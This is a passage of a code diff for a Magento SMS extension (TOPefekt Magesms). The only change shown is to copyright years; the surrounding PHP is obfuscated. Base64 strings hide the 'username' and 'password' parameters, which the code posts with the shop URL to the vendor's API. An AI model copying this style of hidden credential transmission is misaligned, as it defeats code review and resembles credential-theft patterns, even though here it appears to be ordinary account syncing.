(is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { $ibdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error']); } else { $ibdd27a8dd714410289189d318feb96fe6ed8e07f = array(Mage::helper('magesms')->__($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error'])); } } elseif (!$this->profile->user->user && $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1) { $this->profile->user->setUser($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0]); $this->profile->user->setPasswd($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][1]); } if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $i5bf407a3ecf35ff195a9c7e8f546cfc606253fad = $this->profile->user->getId(); $this->profile->user->save(); if ($i5bf407a3ecf35ff195a9c7e8f546cfc606253fad) Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was changed.')); else { Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was created.')); $ie2d3c964f264968835c26fc02ee0d5f0820fe0ce = Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/delivery'; $ia61712c27ea241bd7a543dc2b02ea572274d0322 = base64_decode("YWN0aW9uPWVkaXQyJnVzZXJuYW1lPQ==").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd). "&shop_domain=".urlencode($ie2d3c964f264968835c26fc02ee0d5f0820fe0ce). "&delivery_reports_error_only=".urlencode($this->profile->user->getData('deliveryReportsErrorOnly')). '&newdlr=1'; $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 99 || !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 || $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 5) $this->profile->user->setData('URLreports', 1)->save(); } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function saveAction() { $this->_redirect('*/*/'); } public function deleteadminAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { try { $this->profile->admins->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)->delete(); Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Admin was deleted.')); $this->_redirect('*/*/'); return; } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($this->__($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage())); $this->_redirect('*/*/'); return; } } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Admin to delete.')); $this->_redirect('*/*/'); } public function saveadminAction() { $this->_redirect('*/*/'); } public function validateadminAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $this->profile->admins->setData(Mage::app()->getRequest()->getPost()); $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id'); if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 > 0) { $this->profile->admins->setId($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); } $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->profile->admins->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $this->profile->admins->save(); if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Admin was changed.')); else Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Admin was created.')); } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function validatesettingsAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $this->profile->user->setData('simulatesms', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('simulatesms', 0)); $this->profile->user->setData('deletedb', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('deletedb', 0)); $this->profile->user->setData('URLreports', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('URLreports', 0)); $this->profile->user->setData('pocetkredit', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('pocetkredit', 0)); $this->profile->user->setData('deliveryemail', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('deliveryemail', '')); $this->profile->user->setData('prefbilling', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('prefbilling', 0)); $this->profile->user->setData('deliveryReportsErrorOnly', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('deliveryReportsErrorOnly', 0)); $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->profile->user->validate(); $ie2d3c964f264968835c26fc02ee0d5f0820fe0ce = ''; if ($this->profile->user->getData('URLreports')) { $ie2d3c964f264968835c26fc02ee0d5f0820fe0ce = Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/delivery'; } $ia61712c27ea241bd7a543dc2b02ea572274d0322 = base64_decode("YWN0aW9uPWVkaXQyJnVzZXJuYW1lPQ==").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd). "&shop_domain=".urlencode($ie2d3c964f264968835c26fc02ee0d5f0820fe0ce). base64_decode("JnBvY2V0a3JlZGl0PQ==").urlencode($this->profile->user->pocetkredit). base64_decode("JmVtYWlsPQ==").urlencode($this->profile->user->deliveryemail). "&delivery_reports_error_only=".urlencode($this->profile->user->getData('deliveryReportsErrorOnly')). '&newdlr=1'; $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 99 || !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 || $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 5) { Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was changed.')); } elseif ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 11) { Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was changed, but module URL for DR does not answer.')); $this->profile->user->setData('URLreports', 0); } elseif ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 3) { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('error'); } elseif ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 4) { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('you can change account after ').$i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error'].Mage::helper('magesms')->__(' seconds'); } } else { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('error'); } if (!empty($if3b1e2c1706de4c1bca112c669caba3a0420b880) && is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { $ibdd27a8dd714410289189d318feb96fe6ed8e07f[] = $if3b1e2c1706de4c1bca112c669caba3a0420b880; } elseif (!empty($if3b1e2c1706de4c1bca112c669caba3a0420b880)) { $ibdd27a8dd714410289189d318feb96fe6ed8e07f = array($if3b1e2c1706de4c1bca112c669caba3a0420b880); } if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $this->profile->user->save(); } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function savesettingsAction() { $this->_redirect('*/*/'); } public function vatvalidateAction() { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = ''; if ($this->getRequest()->getParams()) { $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('country') && $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('companyvat')) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=checkVAT&country0='.urlencode($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('country')).'&DIC='.urlencode($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('companyvat')); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = 'true'; } } } $this->getResponse()->clearHeaders()->setHeader('Content-Type', 'text/html')->setBody($i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/profile') ->_title(Mage::helper('magesms')->__('Edit user account')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/smsprofile'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/PurchasecreditController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_PurchasecreditController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here2', array('template' => 'topefekt/magesms/purchasecredit.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/purchasecredit') ->_title(Mage::helper('magesms')->__('Purchase Credit')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/purchase'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_PurchasecreditController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here2', array('template' => 'topefekt/magesms/purchasecredit.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/purchasecredit') ->_title(Mage::helper('magesms')->__('Purchase Credit')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/purchase'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/SendsmsController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_SendsmsController extends Topefekt_Magesms_Controller_Template_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/sendsms.phtml') ); $id42c5963b49dec2d3a886ec5045e3b8e035c239f = '{shop_name}, {shop_domain}, {shop_email}, {shop_phone}'; $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setNotice($id42c5963b49dec2d3a886ec5045e3b8e035c239f); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setTranslate(Mage::helper('magesms')->hookVariablesJS($id42c5963b49dec2d3a886ec5045e3b8e035c239f)); if (!Mage::app()->isSingleStoreMode()) { $ie7d1444276fe9dee937fd96d6e0519397fdc5701 = array(0 => array('value' => 0, 'label' => Mage::helper('adminhtml')->__('Default Config'))); foreach(Mage::app()->getWebsites(false) as $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { $ie7d1444276fe9dee937fd96d6e0519397fdc5701[$i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId()] = array('value' => array(), 'label' => $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getName()); foreach($i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getStores() as $i7079b107a03c03d74ad14b853dad74b85b2d25d1) { $ie7d1444276fe9dee937fd96d6e0519397fdc5701[$i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId()]['value'][] = array('value' => $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getId(), 'label' => $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getName()); } } $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form(); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('store', 'select', array( 'label' => $this->__('Store:'), 'name' => 'store', 'values' => $ie7d1444276fe9dee937fd96d6e0519397fdc5701, )); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSelectStore($i1791b2d1f89bb2bd83b34046f59125af207713db->getHtml()); } $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function sendAction() { if ( $this->getRequest()->getPost() ) { try { Mage::getModel('magesms/observer')->cronUpdate(); $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = $this->_prepareText($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('text'), $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('store')); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unicode') ? true : false; $ifc17de93671eea5715520ecfbc4dc543818685b8 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unique') ? true : false; $ief058b7f255db4398d193a2545513eb1c6eb5e8b = explode(',', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('recipients')); if (!empty($_FILES['sms_file']['tmp_name']) && is_uploaded_file($_FILES['sms_file']['tmp_name'])) { $i611979c78d09dff15855871978716343fa7c183e = array('application/vnd.ms-excel', 'text/plain', 'text/csv', 'text/tsv'); $i7a969aaaa6dd03b1ecdde97917a28ff6bea21d9f = array('text/vcard', 'text/x-vcard'); if(in_array($_FILES['sms_file']['type'], $i611979c78d09dff15855871978716343fa7c183e)) { $ief058b7f255db4398d193a2545513eb1c6eb5e8b = array_merge($ief058b7f255db4398d193a2545513eb1c6eb5e8b, str_getcsv(file_get_contents($_FILES['sms_file']['tmp_name']), "\n")); } elseif(in_array($_FILES['sms_file']['type'], $i7a969aaaa6dd03b1ecdde97917a28ff6bea21d9f)) { $ief058b7f255db4398d193a2545513eb1c6eb5e8b = array_merge($ief058b7f255db4398d193a2545513eb1c6eb5e8b, preg_replace('/TEL;.*:/', '', preg_grep('/TEL;/', explode("\n", file_get_contents($_FILES['sms_file']['tmp_name']))))); } } if (!$ief058b7f255db4398d193a2545513eb1c6eb5e8b) Mage::throwException(Mage::helper('magesms')->__('Recipients found: 0')); if (!$idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) Mage::throwException(Mage::helper('magesms')->__('Fill in SMS text.')); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setRecipient($ief058b7f255db4398d193a2545513eb1c6eb5e8b) ->setMessage($idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) ->setType(Topefekt_Magesms_Model_Sms::TYPE_SIMPLE) ->setPriority(false) ->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd) ->setUnique($ifc17de93671eea5715520ecfbc4dc543818685b8); if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('store')) { $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setStoreId($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('store')); } if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('sendlater') && $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl')) { $i4c323947385ff52539168f26084feed4bc17e2dc = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl'); $i6aa8d50211ad373efab0896425f6f5fa0e013c29 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_hour'); $if8001c570b9f0e904df8b36797628015beb8fa80 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_min'); $i836a3cd8c554d1c35cc3c6cf3e3f49052b683096 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datereal', 0); $i4c323947385ff52539168f26084feed4bc17e2dc = Mage::getModel('core/date')->gmtTimestamp(strtotime("$i4c323947385ff52539168f26084feed4bc17e2dc $i6aa8d50211ad373efab0896425f6f5fa0e013c29:$if8001c570b9f0e904df8b36797628015beb8fa80:00") + 3600*$i836a3cd8c554d1c35cc3c6cf3e3f49052b683096); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setSendlater($i4c323947385ff52539168f26084feed4bc17e2dc); } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $this->_redirect('*/*/index'); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/sendsms.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->renderLayout(); } } else { $this->_redirect('*/*/index'); } return $this; } public function loadCustomersAction() { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = ''; if ($this->getRequest()->getParams()) { $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i933cfa8bba921101c14f35998fc501e030c9db5b = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('char')) { $i854b57231c05dbaa7f22331dbaed4152a402d2f1 = new Zend_Locale_Data(); $i065c883e3f45e58104d21f8196ee3fe9bd2f513d = $i854b57231c05dbaa7f22331dbaed4152a402d2f1->getList('en-EN', 'phonetoterritory'); $ibad8f78c098260b16424eb12ceee5f8336591d56 = Mage::helper('magesms')->getCustomerCollection(); $ibad8f78c098260b16424eb12ceee5f8336591d56->addFieldToFilter('lastname', array('like' => $i933cfa8bba921101c14f35998fc501e030c9db5b.'%')); $ibad8f78c098260b16424eb12ceee5f8336591d56->addAttributeToSort('lastname', 'ASC'); foreach($ibad8f78c098260b16424eb12ceee5f8336591d56 as $i21e55df616c305955791876c1eb4da83448beba2) { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 .= $i21e55df616c305955791876c1eb4da83448beba2->getLastname().', '.$i21e55df616c305955791876c1eb4da83448beba2->getFirstname().';'; $id1caa2f79c0787a3e797d6d388cd6f00ced4282f = Mage::helper('magesms')->prepareNumber($i21e55df616c305955791876c1eb4da83448beba2->getTelephone(), 'customer', empty($i065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i21e55df616c305955791876c1eb4da83448beba2->getCountryId()]) ? '' : $i065c883e3f45e58104d21f8196ee3fe9bd2f513d[$i21e55df616c305955791876c1eb4da83448beba2->getCountryId()]); $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 .= $id1caa2f79c0787a3e797d6d388cd6f00ced4282f['mobile']."\n"; } } } $this->getResponse()->clearHeaders()->setHeader('Content-Type', 'text/html')->setBody($i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/sendsms') ->_title(Mage::helper('magesms')->__('Send SMS')) ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/sendsms'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_SendsmsController extends Topefekt_Magesms_Controller_Template_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/sendsms.phtml') ); $id42c5963b49dec2d3a886ec5045e3b8e035c239f = '{shop_name}, {shop_domain}, {shop_email}, {shop_phone}'; $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setNotice($id42c5963b49dec2d3a886ec5045e3b8e035c239f); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setTranslate(Mage::helper('magesms')->hookVariablesJS($id42c5963b49dec2d3a886ec5045e3b8e035c239f)); if (!Mage::app()->isSingleStoreMode()) { $ie7d1444276fe9dee937fd96d6e0519397fdc5701 = array(0 => array('value' => 0, 'label' => Mage::helper('adminhtml')->__('Default Config'))); foreach(Mage::app()->getWebsites(false) as $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { $ie7d1444276fe9dee937fd96d6e0519397fdc5701[$i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId()] = array('value' => array(), 'label' => $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getName()); foreach($i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getStores() as $i7079b107a03c03d74ad14b853dad74b85b2d25d1) { $ie7d1444276fe9dee937fd96d6e0519397fdc5701[$i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId()]['value'][] = array('value' => $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getId(), 'label' => $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getName()); } } $i1791b2d1f89bb2bd83b34046f59125af207713db = new Varien_Data_Form(); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('store', 'select', array( 'label' => $this->__('Store:'), 'name' => 'store', 'values' => $ie7d1444276fe9dee937fd96d6e0519397fdc5701, )); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSelectStore($i1791b2d1f89bb2bd83b34046f59125af207713db->getHtml()); } $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function sendAction() { if ( $this->getRequest()->getPost() ) { try { Mage::getModel('magesms/observer')->cronUpdate(); $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = $this->_prepareText($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('text'), $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('store')); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unicode') ? true : false; $ifc17de93671eea5715520ecfbc4dc543818685b8 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unique') ? true : false; $ief058b7f255db4398d193a2545513eb1c6eb5e8b = explode(',', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('recipients')); if (!empty($_FILES['sms_file']['tmp_name']) && is_uploaded_file($_FILES['sms_file']['tmp_name'])) { $i611979c78d09dff15855871978716343fa7c183e = array('application/vnd.ms-excel', 'text/plain', 'text/csv', 'text/tsv'); $i7a969aaaa6dd03b1ecdde97917a28ff6bea21d9f = array('text/vcard', 'text/x-vcard'); if(in_array($_FILES['sms_file']['type'], $i611979c78d09dff15855871978716343fa7c183e)) { $ief058b7f255db4398d193a2545513eb1c6eb5e8b = array_merge($ief058b7f255db4398d193a2545513eb1c6eb5e8b, str_getcsv(file_get_contents($_FILES['sms_file']['tmp_name']), "\n")); } elseif(in_array($_FILES['sms_file']['type'], $i7a969aaaa6dd03b1ecdde97917a28ff6bea21d9f)) { $ief058b7f255db4398d193a2545513eb1c6eb5e8b = array_merge($ief058b7f255db4398d193a2545513eb1c6eb5e8b, preg_replace('/TEL;.*:/', '', preg_grep('/TEL;/', explode("\n", file_get_contents($_FILES['sms_file']['tmp_name']))))); } } if (!$ief058b7f255db4398d193a2545513eb1c6eb5e8b) Mage::throwException(Mage::helper('magesms')->__('Recipients found: 0')); if (!$idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) Mage::throwException(Mage::helper('magesms')->__('Fill in SMS text.')); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setRecipient($ief058b7f255db4398d193a2545513eb1c6eb5e8b) ->setMessage($idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) ->setType(Topefekt_Magesms_Model_Sms::TYPE_SIMPLE) ->setPriority(false) ->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd) ->setUnique($ifc17de93671eea5715520ecfbc4dc543818685b8); if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('store')) { $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setStoreId($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('store')); } if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('sendlater') && $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl')) { $i4c323947385ff52539168f26084feed4bc17e2dc = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl'); $i6aa8d50211ad373efab0896425f6f5fa0e013c29 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_hour'); $if8001c570b9f0e904df8b36797628015beb8fa80 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_min'); $i836a3cd8c554d1c35cc3c6cf3e3f49052b683096 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datereal', 0); $i4c323947385ff52539168f26084feed4bc17e2dc = Mage::getModel('core/date')->gmtTimestamp(strtotime("$i4c323947385ff52539168f26084feed4bc17e2dc $i6aa8d50211ad373efab0896425f6f5fa0e013c29:$if8001c570b9f0e904df8b36797628015beb8fa80:00") + 3600*$i836a3cd8c554d1c35cc3c6cf3e3f49052b683096); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setSendlater($i4c323947385ff52539168f26084feed4bc17e2dc); } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $this->_redirect('*/*/index'); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/sendsms.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); 